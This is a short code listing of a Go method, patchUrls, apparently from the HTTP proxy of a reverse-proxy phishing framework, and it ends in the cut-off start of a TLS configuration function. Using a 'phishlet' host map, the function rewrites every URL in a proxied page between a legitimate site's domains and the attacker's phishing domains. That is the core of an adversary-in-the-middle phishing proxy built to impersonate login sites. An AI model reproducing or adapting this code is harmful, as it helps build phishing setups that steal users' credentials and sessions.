Method patchUrls

core/http_proxy.go:1483–1529

(pl *Phishlet, body []byte, c_type int)

}

func (p *HttpProxy) patchUrls(pl *Phishlet, body []byte, c_type int) []byte {
	re_url := MATCH_URL_REGEXP
	re_ns_url := MATCH_URL_REGEXP_WITHOUT_SCHEME

	if phishDomain, ok := p.cfg.GetSiteDomain(pl.Name); ok {
		var sub_map map[string]string = make(map[string]string)
		var hosts []string
		for _, ph := range pl.proxyHosts {
			var h string
			if c_type == CONVERT_TO_ORIGINAL_URLS {
				h = combineHost(ph.phish_subdomain, phishDomain)
				sub_map[h] = combineHost(ph.orig_subdomain, ph.domain)
			} else {
				h = combineHost(ph.orig_subdomain, ph.domain)
				sub_map[h] = combineHost(ph.phish_subdomain, phishDomain)
			}
			hosts = append(hosts, h)
		}
		// make sure that we start replacing strings from longest to shortest
		sort.Slice(hosts, func(i, j int) bool {
			return len(hosts[i]) > len(hosts[j])
		})

		body = []byte(re_url.ReplaceAllStringFunc(string(body), func(s_url string) string {
			u, err := url.Parse(s_url)
			if err == nil {
				for _, h := range hosts {
					if strings.ToLower(u.Host) == h {
						s_url = strings.Replace(s_url, u.Host, sub_map[h], 1)
						break
					}
				}
			}
			return s_url
		}))
		body = []byte(re_ns_url.ReplaceAllStringFunc(string(body), func(s_url string) string {
			for _, h := range hosts {
				if strings.Contains(s_url, h) && !strings.Contains(s_url, sub_map[h]) {
					s_url = strings.Replace(s_url, h, sub_map[h], 1)
					break
				}
			}
			return s_url
		}))
	}
	return body
}

func (p *HttpProxy) TLSConfigFromCA() func(host string, ctx *goproxy.ProxyCtx) (*tls.Config, error) {
	return func(host string, ctx *goproxy.ProxyCtx) (c *tls.Config, err error) {